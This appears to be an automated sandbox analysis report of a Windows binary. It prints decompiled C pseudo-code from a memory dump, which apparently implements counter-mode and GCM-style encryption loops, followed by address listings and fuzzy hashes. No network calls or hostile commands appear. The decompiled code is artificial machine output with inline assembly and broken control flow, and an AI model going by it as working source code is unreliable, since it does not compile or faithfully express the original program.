                                                                						} while ( *_t59 != 0);
                                                                					}
                                                                					if(_t159 != 0) {
                                                                						 *((intOrPtr*)(_t168 + 0x40))(_t146, _t146,  *((intOrPtr*)(_t168 + 0x24)));
                                                                						_t108 =  *((intOrPtr*)(_t168 + 0x28));
                                                                						_t103 = _t101 - _t108;
                                                                						_t109 = _t108 - _t146;
                                                                						_t168 = _t168 + 0xc;
                                                                						_t78 = _t151 + _t146;
                                                                						 *((intOrPtr*)(_t168 + 0x30)) = _t109;
                                                                						_t151 = _t151 + _t159;
                                                                						while(1) {
                                                                							_t148 = _t78 + _t109;
                                                                							_t110 = _t148[_t103];
                                                                							 *_t148 =  *_t78 ^ _t110;
                                                                							_t159 = _t159 - 1;
                                                                							 *_t78 = _t110;
                                                                							_t78 =  &(_t78[0]);
                                                                							if(_t159 == 0) {
                                                                								goto L31;
                                                                							}
                                                                							_t109 =  *((intOrPtr*)(_t168 + 0x30));
                                                                						}
                                                                					}
                                                                					goto L31;
                                                                				} else {
                                                                					_t105 =  *(_t168 + 0x20);
                                                                					if(_t151 != 0) {
                                                                						while(_t105 != 0) {
                                                                							_t143 =  *(_t168 + 0x18);
                                                                							 *(_t151 + _t146) =  *(_t151 + _t146) ^  *_t143;
                                                                							_t127 =  *(_t168 + 0x1c);
                                                                							 *_t127 =  *(_t151 + _t146);
                                                                							_t105 = _t105 - 1;
                                                                							_t151 = _t151 + 0x00000001 & 0x0000000f;
                                                                							 *(_t168 + 0x1c) =  &(_t127[1]);
                                                                							 *(_t168 + 0x18) =  &(_t143[0]);
                                                                							if(_t151 != 0) {
                                                                								continue;
                                                                							}
                                                                							goto L5;
                                                                						}
                                                                					}
                                                                					L5:
                                                                					if(_t105 >= 0x10) {
                                                                						_t137 =  *(_t168 + 0x18);
                                                                						_t120 =  *(_t168 + 0x1c);
                                                                						 *((intOrPtr*)(_t168 + 0x30)) = _t137 - _t146;
                                                                						_t95 = _t105 >> 4;
                                                                						 *(_t168 + 0x10) = _t95;
                                                                						_t96 = _t95 << 4;
                                                                						_t167 = _t120 - _t146;
                                                                						 *(_t168 + 0x1c) =  &(_t120[_t96]);
                                                                						 *(_t168 + 0x18) = _t137 + _t96;
                                                                						do {
                                                                							 *((intOrPtr*)(_t168 + 0x40))(_t146, _t146,  *((intOrPtr*)(_t168 + 0x24)));
                                                                							_t168 = _t168 + 0xc;
                                                                							if(_t151 < 0x10) {
                                                                								_t98 = _t151 + _t146;
                                                                								_t125 = (0xf - _t151 >> 2) + 1;
                                                                								do {
                                                                									 *_t98 =  *_t98 ^  *( *((intOrPtr*)(_t168 + 0x30)) + _t98);
                                                                									 *(_t98 + _t167) =  *_t98;
                                                                									_t98 =  &(_t98[1]);
                                                                									_t125 = _t125 - 1;
                                                                								} while (_t125 != 0);
                                                                							}
                                                                							 *((intOrPtr*)(_t168 + 0x30)) =  *((intOrPtr*)(_t168 + 0x30)) + 0x10;
                                                                							_t105 = _t105 - 0x10;
                                                                							_t167 = _t167 + 0x10;
                                                                							_t151 = 0;
                                                                							_t26 = _t168 + 0x10;
                                                                							 *_t26 =  *(_t168 + 0x10) - 1;
                                                                						} while ( *_t26 != 0);
                                                                					}
                                                                					if(_t105 == 0) {
                                                                						L31:
                                                                						_t75 =  *(_t168 + 0x2c);
                                                                						 *_t75 = _t151;
                                                                						return _t75;
                                                                					} else {
                                                                						 *((intOrPtr*)(_t168 + 0x40))(_t146, _t146,  *((intOrPtr*)(_t168 + 0x24)));
                                                                						_t169 = _t168 + 0xc;
                                                                						_t90 = _t151 + _t146;
                                                                						_t164 =  *((intOrPtr*)(_t168 + 0x24)) - _t146;
                                                                						_t118 =  *((intOrPtr*)(_t168 + 0x28)) - _t146;
                                                                						_t155 = _t151 + _t105;
                                                                						do {
                                                                							 *_t90 =  *_t90 ^  *(_t90 + _t164) & 0x000000ff;
                                                                							_t105 = _t105 - 1;
                                                                							 *((char*)(_t90 + _t118)) =  *_t90;
                                                                							_t90 =  &(_t90[0]);
                                                                						} while (_t105 != 0);
                                                                						_t91 =  *((intOrPtr*)(_t169 + 0x2c));
                                                                						 *_t91 = _t155;
                                                                						return _t91;
                                                                					}
                                                                				}
                                                                			}






































                                                                0x00ac2c05
                                                                0x00ac2c16
                                                                0x00ac2c19
                                                                0x00ac2c1d
                                                                0x00ac2d1e
                                                                0x00ac2d22
                                                                0x00ac2d28
                                                                0x00ac2d30
                                                                0x00ac2d37
                                                                0x00ac2d39
                                                                0x00ac2d3f
                                                                0x00ac2d41
                                                                0x00ac2d46
                                                                0x00ac2d47
                                                                0x00ac2d48
                                                                0x00ac2d4b
                                                                0x00ac2d4f
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac2d4f
                                                                0x00ac2d51
                                                                0x00ac2d55
                                                                0x00ac2d55
                                                                0x00ac2d5c
                                                                0x00ac2d64
                                                                0x00ac2d6d
                                                                0x00ac2d71
                                                                0x00ac2d78
                                                                0x00ac2d7c
                                                                0x00ac2d82
                                                                0x00ac2d84
                                                                0x00ac2d92
                                                                0x00ac2d95
                                                                0x00ac2d96
                                                                0x00ac2d9c
                                                                0x00ac2d9e
                                                                0x00ac2da3
                                                                0x00ac2da5
                                                                0x00ac2da7
                                                                0x00ac2daa
                                                                0x00ac2daa
                                                                0x00ac2daf
                                                                0x00ac2db3
                                                                0x00ac2db3
                                                                0x00ac2dbc
                                                                0x00ac2dc0
                                                                0x00ac2dc4
                                                                0x00ac2dc6
                                                                0x00ac2dc8
                                                                0x00ac2dca
                                                                0x00ac2dca
                                                                0x00ac2dcf
                                                                0x00ac2dd3
                                                                0x00ac2dd3
                                                                0x00ac2d71
                                                                0x00ac2ddb
                                                                0x00ac2de4
                                                                0x00ac2de8
                                                                0x00ac2dec
                                                                0x00ac2dee
                                                                0x00ac2df0
                                                                0x00ac2df3
                                                                0x00ac2df6
                                                                0x00ac2dfa
                                                                0x00ac2e04
                                                                0x00ac2e06
                                                                0x00ac2e09
                                                                0x00ac2e0e
                                                                0x00ac2e10
                                                                0x00ac2e11
                                                                0x00ac2e13
                                                                0x00ac2e16
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac2e00
                                                                0x00ac2e00
                                                                0x00ac2e04
                                                                0x00000000
                                                                0x00ac2c23
                                                                0x00ac2c23
                                                                0x00ac2c29
                                                                0x00ac2c30
                                                                0x00ac2c34
                                                                0x00ac2c3a
                                                                0x00ac2c40
                                                                0x00ac2c44
                                                                0x00ac2c49
                                                                0x00ac2c4a
                                                                0x00ac2c4d
                                                                0x00ac2c51
                                                                0x00ac2c55
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac2c55
                                                                0x00ac2c30
                                                                0x00ac2c57
                                                                0x00ac2c5a
                                                                0x00ac2c5c
                                                                0x00ac2c60
                                                                0x00ac2c68
                                                                0x00ac2c6e
                                                                0x00ac2c73
                                                                0x00ac2c77
                                                                0x00ac2c7c
                                                                0x00ac2c80
                                                                0x00ac2c84
                                                                0x00ac2c88
                                                                0x00ac2c8f
                                                                0x00ac2c93
                                                                0x00ac2c99
                                                                0x00ac2ca5
                                                                0x00ac2ca8
                                                                0x00ac2cb0
                                                                0x00ac2cb7
                                                                0x00ac2cbb
                                                                0x00ac2cbe
                                                                0x00ac2cc1
                                                                0x00ac2cc1
                                                                0x00ac2cb0
                                                                0x00ac2cc6
                                                                0x00ac2ccb
                                                                0x00ac2cce
                                                                0x00ac2cd1
                                                                0x00ac2cd3
                                                                0x00ac2cd3
                                                                0x00ac2cd3
                                                                0x00ac2c88
                                                                0x00ac2cdc
                                                                0x00ac2e18
                                                                0x00ac2e18
                                                                0x00ac2e1d
                                                                0x00ac2e23
                                                                0x00ac2ce2
                                                                0x00ac2ce9
                                                                0x00ac2cf5
                                                                0x00ac2cf8
                                                                0x00ac2cfb
                                                                0x00ac2cfd
                                                                0x00ac2cff
                                                                0x00ac2d01
                                                                0x00ac2d05
                                                                0x00ac2d09
                                                                0x00ac2d0a
                                                                0x00ac2d0d
                                                                0x00ac2d0e
                                                                0x00ac2d12
                                                                0x00ac2d17
                                                                0x00ac2d1d
                                                                0x00ac2d1d
                                                                0x00ac2cdc

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b6ca65db41aeb67edb8e654b06e533f59a24df482418cc9813ac49f26b87c0ac
                                                                • Instruction ID: 2ea10a6abc9e951735700f7f446f865c1ba72d8c8633c3a2c5ba8bea8211ff27
                                                                • Opcode Fuzzy Hash: b6ca65db41aeb67edb8e654b06e533f59a24df482418cc9813ac49f26b87c0ac
                                                                • Instruction Fuzzy Hash: 377169715083868FD715DF29C484A6BBBE4FFDA308F060A6DE98697312D730E905CB92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 77%
                                                                			E00ABBFD0(void* __ebx, void* __edi) {
                                                                				signed int _t121;
                                                                				signed char _t125;
                                                                				signed char _t147;
                                                                				void* _t150;
                                                                				signed int* _t151;
                                                                				void* _t153;
                                                                				intOrPtr _t156;
                                                                				signed char* _t157;
                                                                				unsigned int _t159;
                                                                				signed int _t167;
                                                                				signed int _t170;
                                                                				intOrPtr* _t172;
                                                                				unsigned int _t173;
                                                                				signed char* _t175;
                                                                				signed int _t180;
                                                                				void* _t188;
                                                                				signed char* _t189;
                                                                				unsigned int _t192;
                                                                				unsigned int _t193;
                                                                				intOrPtr _t195;
                                                                				void* _t198;
                                                                
                                                                				_t188 = __edi;
                                                                				_t150 = __ebx;
                                                                				E00B8BB10(0x14);
                                                                				_t193 =  *(_t198 + 0x1c);
                                                                				_t172 =  *((intOrPtr*)(_t193 + 0x160));
                                                                				 *((intOrPtr*)(_t198 + 8)) =  *((intOrPtr*)(_t193 + 0x170));
                                                                				 *((intOrPtr*)(_t198 + 4)) =  *((intOrPtr*)(_t193 + 0x174));
                                                                				 *((intOrPtr*)(_t198 + 0x14)) =  *((intOrPtr*)(_t193 + 0x164));
                                                                				_t156 =  *(_t198 + 0x28) +  *((intOrPtr*)(_t193 + 0x38));
                                                                				 *((intOrPtr*)(_t198 + 0x10)) = _t172;
                                                                				asm("adc eax, [esi+0x3c]");
                                                                				if(0 > 0xf || 0 >= 0xf && _t156 > 0xffffffe0) {
                                                                					return 0xffffffff;
                                                                				} else {
                                                                					 *((intOrPtr*)(_t193 + 0x38)) = _t156;
                                                                					 *((intOrPtr*)(_t193 + 0x3c)) = 0;
                                                                					if( *((intOrPtr*)(_t193 + 0x16c)) != 0) {
                                                                						 *_t172(_t193 + 0x40, _t193 + 0x60);
                                                                						_t198 = _t198 + 8;
                                                                						 *((intOrPtr*)(_t193 + 0x16c)) = 0;
                                                                					}
                                                                					_t157 =  *(_t193 + 0x168);
                                                                					_push(_t150);
                                                                					_t151 =  *(_t198 + 0x24);
                                                                					_t195 =  *((intOrPtr*)(_t193 + 0xc));
                                                                					_push(_t188);
                                                                					_t189 =  *(_t198 + 0x30);
                                                                					asm("bswap ebp");
                                                                					 *(_t198 + 0x28) = _t157;
                                                                					if(_t157 == 0) {
                                                                						L13:
                                                                						_t173 =  *(_t198 + 0x34);
                                                                						if(_t173 >= 0xc00) {
                                                                							 *(_t198 + 0x1c) = 0xaaaaaaab * _t173 >> 0x20 >> 0xb;
                                                                							do {
                                                                								 *(_t198 + 0x18) = 0xc0;
                                                                								do {
                                                                									 *((intOrPtr*)(_t198 + 0x20))(_t193, _t193 + 0x10,  *((intOrPtr*)(_t198 + 0x10)));
                                                                									_t195 = _t195 + 1;
                                                                									asm("bswap ecx");
                                                                									 *((intOrPtr*)(_t193 + 0xc)) = _t195;
                                                                									_t198 = _t198 + 0xc;
                                                                									 *_t189 =  *(_t193 + 0x10) ^  *_t151;
                                                                									_t189 =  &(_t189[0x10]);
                                                                									 *(_t189 - 0xc) = _t151[1] ^  *(_t193 + 0x14);
                                                                									_t167 = _t151[2] ^  *(_t193 + 0x18);
                                                                									_t151 =  &(_t151[4]);
                                                                									 *(_t189 - 8) = _t167;
                                                                									_t58 = _t198 + 0x18;
                                                                									 *_t58 =  *(_t198 + 0x18) - 1;
                                                                									 *(_t189 - 4) =  *(_t151 - 4) ^  *(_t193 + 0x1c);
                                                                								} while ( *_t58 != 0);
                                                                								 *(_t198 + 0x30)(_t193 + 0x40, _t193 + 0x60, _t189 - 0xc00, 0xc00);
                                                                								 *(_t198 + 0x44) =  *(_t198 + 0x44) - 0xc00;
                                                                								_t198 = _t198 + 0x10;
                                                                								_t67 = _t198 + 0x1c;
                                                                								 *_t67 =  *(_t198 + 0x1c) - 1;
                                                                							} while ( *_t67 != 0);
                                                                							_t157 =  *(_t198 + 0x28);
                                                                							_t173 =  *(_t198 + 0x34);
                                                                						}
                                                                						_t121 = _t173 & 0xfffffff0;
                                                                						 *(_t198 + 0x18) = _t121;
                                                                						if(_t121 != 0) {
                                                                							if(_t173 >= 0x10) {
                                                                								 *(_t198 + 0x1c) = _t173 >> 4;
                                                                								do {
                                                                									 *((intOrPtr*)(_t198 + 0x20))(_t193, _t193 + 0x10,  *((intOrPtr*)(_t198 + 0x10)));
                                                                									_t195 = _t195 + 1;
                                                                									 *((intOrPtr*)(_t198 + 0x40)) =  *((intOrPtr*)(_t198 + 0x40)) - 0x10;
                                                                									asm("bswap edx");
                                                                									 *((intOrPtr*)(_t193 + 0xc)) = _t195;
                                                                									_t198 = _t198 + 0xc;
                                                                									 *_t189 =  *(_t193 + 0x10) ^  *_t151;
                                                                									_t189 =  &(_t189[0x10]);
                                                                									 *(_t189 - 0xc) = _t151[1] ^  *(_t193 + 0x14);
                                                                									_t180 = _t151[2] ^  *(_t193 + 0x18);
                                                                									_t151 =  &(_t151[4]);
                                                                									 *(_t189 - 8) = _t180;
                                                                									_t88 = _t198 + 0x1c;
                                                                									 *_t88 =  *(_t198 + 0x1c) - 1;
                                                                									 *(_t189 - 4) =  *(_t151 - 4) ^  *(_t193 + 0x1c);
                                                                								} while ( *_t88 != 0);
                                                                								_t121 =  *(_t198 + 0x18);
                                                                							}
                                                                							 *(_t198 + 0x30)(_t193 + 0x40, _t193 + 0x60, _t189 - _t121, _t121);
                                                                							_t157 =  *(_t198 + 0x38);
                                                                							_t173 =  *(_t198 + 0x44);
                                                                							_t198 = _t198 + 0x10;
                                                                						}
                                                                						if(_t173 != 0) {
                                                                							 *((intOrPtr*)(_t198 + 0x20))(_t193, _t193 + 0x10,  *((intOrPtr*)(_t198 + 0x10)));
                                                                							_t159 =  *(_t198 + 0x34);
                                                                							asm("bswap ebp");
                                                                							_t198 = _t198 + 0xc;
                                                                							 *((intOrPtr*)(_t193 + 0xc)) = _t195 + 1;
                                                                							_t175 =  &(_t189[_t159]);
                                                                							_t153 = _t151 - _t189;
                                                                							do {
                                                                								_t125 =  *(_t193 + _t159 + 0x10) ^  *(_t153 + _t175);
                                                                								 *_t175 = _t125;
                                                                								 *(_t193 + _t159 + 0x40) =  *(_t193 + _t159 + 0x40) ^ _t125;
                                                                								_t192 =  *(_t198 + 0x34) - 1;
                                                                								_t159 = _t159 + 1;
                                                                								_t175 =  &(_t175[1]);
                                                                								 *(_t198 + 0x34) = _t192;
                                                                							} while (_t192 != 0);
                                                                							 *(_t198 + 0x28) = _t159;
                                                                						}
                                                                					} else {
                                                                						while( *(_t198 + 0x34) != 0) {
                                                                							_t147 = _t157[_t193 + 0x10] ^  *_t151;
                                                                							 *(_t198 + 0x34) =  *(_t198 + 0x34) - 1;
                                                                							 *_t189 = _t147;
                                                                							_t157[_t193 + 0x40] = _t157[_t193 + 0x40] ^ _t147;
                                                                							_t189 =  &(_t189[1]);
                                                                							_t151 =  &(_t151[0]);
                                                                							_t170 =  &(_t157[1]) & 0x0000000f;
                                                                							 *(_t198 + 0x28) = _t170;
                                                                							if(_t170 != 0) {
                                                                								_t157 =  *(_t198 + 0x28);
                                                                								continue;
                                                                							} else {
                                                                								L12:
                                                                								 *(_t198 + 0x24)(_t193 + 0x40, _t193 + 0x60);
                                                                								_t157 =  *(_t198 + 0x30);
                                                                								_t198 = _t198 + 8;
                                                                								goto L13;
                                                                							}
                                                                							goto L29;
                                                                						}
                                                                						if(_t157 == 0) {
                                                                							goto L12;
                                                                						}
                                                                					}
                                                                					L29:
                                                                					 *(_t193 + 0x168) = _t157;
                                                                					return 0;
                                                                				}
                                                                			}
























                                                                0x00abbfd0
                                                                0x00abbfd0
                                                                0x00abbfd5
                                                                0x00abbfdb
                                                                0x00abbfeb
                                                                0x00abbff1
                                                                0x00abbffb
                                                                0x00abc003
                                                                0x00abc009
                                                                0x00abc00c
                                                                0x00abc010
                                                                0x00abc016
                                                                0x00abc23a
                                                                0x00abc027
                                                                0x00abc02e
                                                                0x00abc031
                                                                0x00abc034
                                                                0x00abc03e
                                                                0x00abc040
                                                                0x00abc043
                                                                0x00abc043
                                                                0x00abc04d
                                                                0x00abc053
                                                                0x00abc054
                                                                0x00abc059
                                                                0x00abc05c
                                                                0x00abc05d
                                                                0x00abc061
                                                                0x00abc063
                                                                0x00abc069
                                                                0x00abc0b4
                                                                0x00abc0b4
                                                                0x00abc0be
                                                                0x00abc0ce
                                                                0x00abc0d2
                                                                0x00abc0d2
                                                                0x00abc0e0
                                                                0x00abc0ea
                                                                0x00abc0ee
                                                                0x00abc0f1
                                                                0x00abc0f3
                                                                0x00abc0fb
                                                                0x00abc0fe
                                                                0x00abc106
                                                                0x00abc109
                                                                0x00abc10f
                                                                0x00abc112
                                                                0x00abc115
                                                                0x00abc11e
                                                                0x00abc11e
                                                                0x00abc123
                                                                0x00abc123
                                                                0x00abc13c
                                                                0x00abc140
                                                                0x00abc148
                                                                0x00abc14b
                                                                0x00abc14b
                                                                0x00abc14b
                                                                0x00abc152
                                                                0x00abc156
                                                                0x00abc156
                                                                0x00abc15c
                                                                0x00abc15f
                                                                0x00abc163
                                                                0x00abc168
                                                                0x00abc16d
                                                                0x00abc171
                                                                0x00abc17b
                                                                0x00abc17f
                                                                0x00abc180
                                                                0x00abc187
                                                                0x00abc189
                                                                0x00abc191
                                                                0x00abc194
                                                                0x00abc19c
                                                                0x00abc19f
                                                                0x00abc1a5
                                                                0x00abc1a8
                                                                0x00abc1ab
                                                                0x00abc1b4
                                                                0x00abc1b4
                                                                0x00abc1b9
                                                                0x00abc1b9
                                                                0x00abc1be
                                                                0x00abc1be
                                                                0x00abc1d0
                                                                0x00abc1d4
                                                                0x00abc1d8
                                                                0x00abc1dc
                                                                0x00abc1dc
                                                                0x00abc1e1
                                                                0x00abc1ed
                                                                0x00abc1f1
                                                                0x00abc1f6
                                                                0x00abc1f8
                                                                0x00abc1fb
                                                                0x00abc1fe
                                                                0x00abc201
                                                                0x00abc203
                                                                0x00abc207
                                                                0x00abc20e
                                                                0x00abc210
                                                                0x00abc214
                                                                0x00abc215
                                                                0x00abc216
                                                                0x00abc217
                                                                0x00abc21b
                                                                0x00abc21f
                                                                0x00abc21f
                                                                0x00abc06b
                                                                0x00abc074
                                                                0x00abc07f
                                                                0x00abc081
                                                                0x00abc085
                                                                0x00abc087
                                                                0x00abc08c
                                                                0x00abc08d
                                                                0x00abc08e
                                                                0x00abc091
                                                                0x00abc095
                                                                0x00abc070
                                                                0x00000000
                                                                0x00abc097
                                                                0x00abc0a1
                                                                0x00abc0a9
                                                                0x00abc0ad
                                                                0x00abc0b1
                                                                0x00000000
                                                                0x00abc0b1
                                                                0x00000000
                                                                0x00abc095
                                                                0x00abc09b
                                                                0x00000000
                                                                0x00000000
                                                                0x00abc09b
                                                                0x00abc223
                                                                0x00abc226
                                                                0x00abc232
                                                                0x00abc232

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2c4eef3606d849489a46c8cf01e13a301d6c5479e345453bf65955e78e7400ab
                                                                • Instruction ID: 0069dec3aebf9664a7cce7da6f3c965082deaf5bfe1cde331fa832cfb37df6cf
                                                                • Opcode Fuzzy Hash: 2c4eef3606d849489a46c8cf01e13a301d6c5479e345453bf65955e78e7400ab
                                                                • Instruction Fuzzy Hash: 218127715087019FC718CF69C884AABB7F9FF89314F548A1DE49A8B642D731E905CF52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 76%
                                                                			E00ABC240(void* __ebx, void* __edi) {
                                                                				signed int _t119;
                                                                				unsigned int _t122;
                                                                				signed int _t142;
                                                                				signed int _t146;
                                                                				void* _t149;
                                                                				signed char* _t150;
                                                                				intOrPtr _t156;
                                                                				signed int _t157;
                                                                				signed int _t159;
                                                                				signed char _t161;
                                                                				signed char _t170;
                                                                				intOrPtr* _t172;
                                                                				unsigned int _t175;
                                                                				signed int _t179;
                                                                				void* _t187;
                                                                				signed int* _t188;
                                                                				void* _t190;
                                                                				unsigned int _t191;
                                                                				intOrPtr _t193;
                                                                				signed char* _t196;
                                                                				void* _t197;
                                                                				void* _t200;
                                                                
                                                                				_t187 = __edi;
                                                                				_t149 = __ebx;
                                                                				E00B8BB10(0x14);
                                                                				_t191 =  *(_t197 + 0x1c);
                                                                				_t172 =  *((intOrPtr*)(_t191 + 0x160));
                                                                				 *((intOrPtr*)(_t197 + 8)) =  *((intOrPtr*)(_t191 + 0x170));
                                                                				 *((intOrPtr*)(_t197 + 4)) =  *((intOrPtr*)(_t191 + 0x174));
                                                                				 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t191 + 0x164));
                                                                				_t156 =  *(_t197 + 0x28) +  *((intOrPtr*)(_t191 + 0x38));
                                                                				 *((intOrPtr*)(_t197 + 0x10)) = _t172;
                                                                				asm("adc eax, [esi+0x3c]");
                                                                				if(0 > 0xf || 0 >= 0xf && _t156 > 0xffffffe0) {
                                                                					return 0xffffffff;
                                                                				} else {
                                                                					 *((intOrPtr*)(_t191 + 0x38)) = _t156;
                                                                					 *((intOrPtr*)(_t191 + 0x3c)) = 0;
                                                                					if( *((intOrPtr*)(_t191 + 0x16c)) != 0) {
                                                                						 *_t172(_t191 + 0x40, _t191 + 0x60);
                                                                						_t197 = _t197 + 8;
                                                                						 *((intOrPtr*)(_t191 + 0x16c)) = 0;
                                                                					}
                                                                					_t119 =  *(_t191 + 0x168);
                                                                					_push(_t149);
                                                                					_t150 =  *(_t197 + 0x28);
                                                                					_t193 =  *((intOrPtr*)(_t191 + 0xc));
                                                                					_push(_t187);
                                                                					_t188 =  *(_t197 + 0x2c);
                                                                					asm("bswap ebp");
                                                                					 *(_t197 + 0x28) = _t119;
                                                                					if(_t119 == 0) {
                                                                						L13:
                                                                						_t157 =  *(_t197 + 0x34);
                                                                						if(_t157 >= 0xc00) {
                                                                							 *(_t197 + 0x1c) = 0xaaaaaaab * _t157 >> 0x20 >> 0xb;
                                                                							do {
                                                                								 *(_t197 + 0x30)(_t191 + 0x40, _t191 + 0x60, _t188, 0xc00);
                                                                								_t200 = _t197 + 0x10;
                                                                								 *((intOrPtr*)(_t200 + 0x18)) = 0xc0;
                                                                								do {
                                                                									 *((intOrPtr*)(_t200 + 0x20))(_t191, _t191 + 0x10,  *((intOrPtr*)(_t200 + 0x10)));
                                                                									_t193 = _t193 + 1;
                                                                									asm("bswap eax");
                                                                									 *((intOrPtr*)(_t191 + 0xc)) = _t193;
                                                                									_t200 = _t200 + 0xc;
                                                                									 *_t150 =  *_t188 ^  *(_t191 + 0x10);
                                                                									_t150 =  &(_t150[0x10]);
                                                                									 *(_t150 - 0xc) = _t188[1] ^  *(_t191 + 0x14);
                                                                									_t142 = _t188[2] ^  *(_t191 + 0x18);
                                                                									_t188 =  &(_t188[4]);
                                                                									 *(_t150 - 8) = _t142;
                                                                									_t61 = _t200 + 0x18;
                                                                									 *_t61 =  *((intOrPtr*)(_t200 + 0x18)) - 1;
                                                                									 *(_t150 - 4) =  *(_t188 - 4) ^  *(_t191 + 0x1c);
                                                                								} while ( *_t61 != 0);
                                                                								 *((intOrPtr*)(_t200 + 0x34)) =  *((intOrPtr*)(_t200 + 0x34)) - 0xc00;
                                                                								_t66 = _t200 + 0x1c;
                                                                								 *_t66 =  *((intOrPtr*)(_t200 + 0x1c)) - 1;
                                                                							} while ( *_t66 != 0);
                                                                							_t119 =  *(_t200 + 0x28);
                                                                						}
                                                                						_t159 =  *(_t197 + 0x34) & 0xfffffff0;
                                                                						if(_t159 != 0) {
                                                                							 *(_t197 + 0x30)(_t191 + 0x40, _t191 + 0x60, _t188, _t159);
                                                                							_t197 = _t197 + 0x10;
                                                                							if( *(_t197 + 0x34) >= 0x10) {
                                                                								 *(_t197 + 0x20) =  *(_t197 + 0x34) >> 4;
                                                                								do {
                                                                									 *(_t197 + 0x20)(_t191, _t191 + 0x10,  *((intOrPtr*)(_t197 + 0x10)));
                                                                									_t193 = _t193 + 1;
                                                                									 *((intOrPtr*)(_t197 + 0x40)) =  *((intOrPtr*)(_t197 + 0x40)) - 0x10;
                                                                									asm("bswap edx");
                                                                									 *((intOrPtr*)(_t191 + 0xc)) = _t193;
                                                                									_t197 = _t197 + 0xc;
                                                                									 *_t150 =  *_t188 ^  *(_t191 + 0x10);
                                                                									_t150 =  &(_t150[0x10]);
                                                                									 *(_t150 - 0xc) = _t188[1] ^  *(_t191 + 0x14);
                                                                									_t179 = _t188[2] ^  *(_t191 + 0x18);
                                                                									_t188 =  &(_t188[4]);
                                                                									 *(_t150 - 8) = _t179;
                                                                									_t91 = _t197 + 0x20;
                                                                									 *_t91 =  *(_t197 + 0x20) - 1;
                                                                									 *(_t150 - 4) =  *(_t188 - 4) ^  *(_t191 + 0x1c);
                                                                								} while ( *_t91 != 0);
                                                                							}
                                                                							_t119 =  *(_t197 + 0x28);
                                                                						}
                                                                						if( *(_t197 + 0x34) != 0) {
                                                                							 *(_t197 + 0x20)(_t191, _t191 + 0x10,  *((intOrPtr*)(_t197 + 0x10)));
                                                                							_t122 =  *(_t197 + 0x34);
                                                                							asm("bswap ebp");
                                                                							_t197 = _t197 + 0xc;
                                                                							 *((intOrPtr*)(_t191 + 0xc)) = _t193 + 1;
                                                                							_t196 =  &(_t150[_t122]);
                                                                							_t190 = _t188 - _t150;
                                                                							do {
                                                                								_t161 =  *((intOrPtr*)(_t190 + _t196));
                                                                								 *(_t191 + _t122 + 0x40) =  *(_t191 + _t122 + 0x40) ^ _t161;
                                                                								_t175 =  *(_t197 + 0x34) - 1;
                                                                								 *_t196 =  *(_t191 + _t122 + 0x10) ^ _t161;
                                                                								_t122 = _t122 + 1;
                                                                								_t196 =  &(_t196[1]);
                                                                								 *(_t197 + 0x34) = _t175;
                                                                							} while (_t175 != 0);
                                                                							 *(_t197 + 0x28) = _t122;
                                                                						}
                                                                					} else {
                                                                						while( *(_t197 + 0x34) != 0) {
                                                                							_t170 =  *_t188;
                                                                							 *(_t197 + 0x34) =  *(_t197 + 0x34) - 1;
                                                                							 *_t150 =  *(_t191 + 0x10 + _t119) ^ _t170;
                                                                							 *(_t119 + _t191 + 0x40) =  *(_t119 + _t191 + 0x40) ^ _t170;
                                                                							_t188 =  &(_t188[0]);
                                                                							_t150 =  &(_t150[1]);
                                                                							_t146 = _t119 + 0x00000001 & 0x0000000f;
                                                                							 *(_t197 + 0x28) = _t146;
                                                                							if(_t146 != 0) {
                                                                								_t119 =  *(_t197 + 0x28);
                                                                								continue;
                                                                							} else {
                                                                								L12:
                                                                								 *((intOrPtr*)(_t197 + 0x24))(_t191 + 0x40, _t191 + 0x60);
                                                                								_t119 =  *(_t197 + 0x30);
                                                                								_t197 = _t197 + 8;
                                                                								goto L13;
                                                                							}
                                                                							goto L28;
                                                                						}
                                                                						if(_t119 == 0) {
                                                                							goto L12;
                                                                						}
                                                                					}
                                                                					L28:
                                                                					 *(_t191 + 0x168) = _t119;
                                                                					return 0;
                                                                				}
                                                                			}

























                                                                0x00abc240
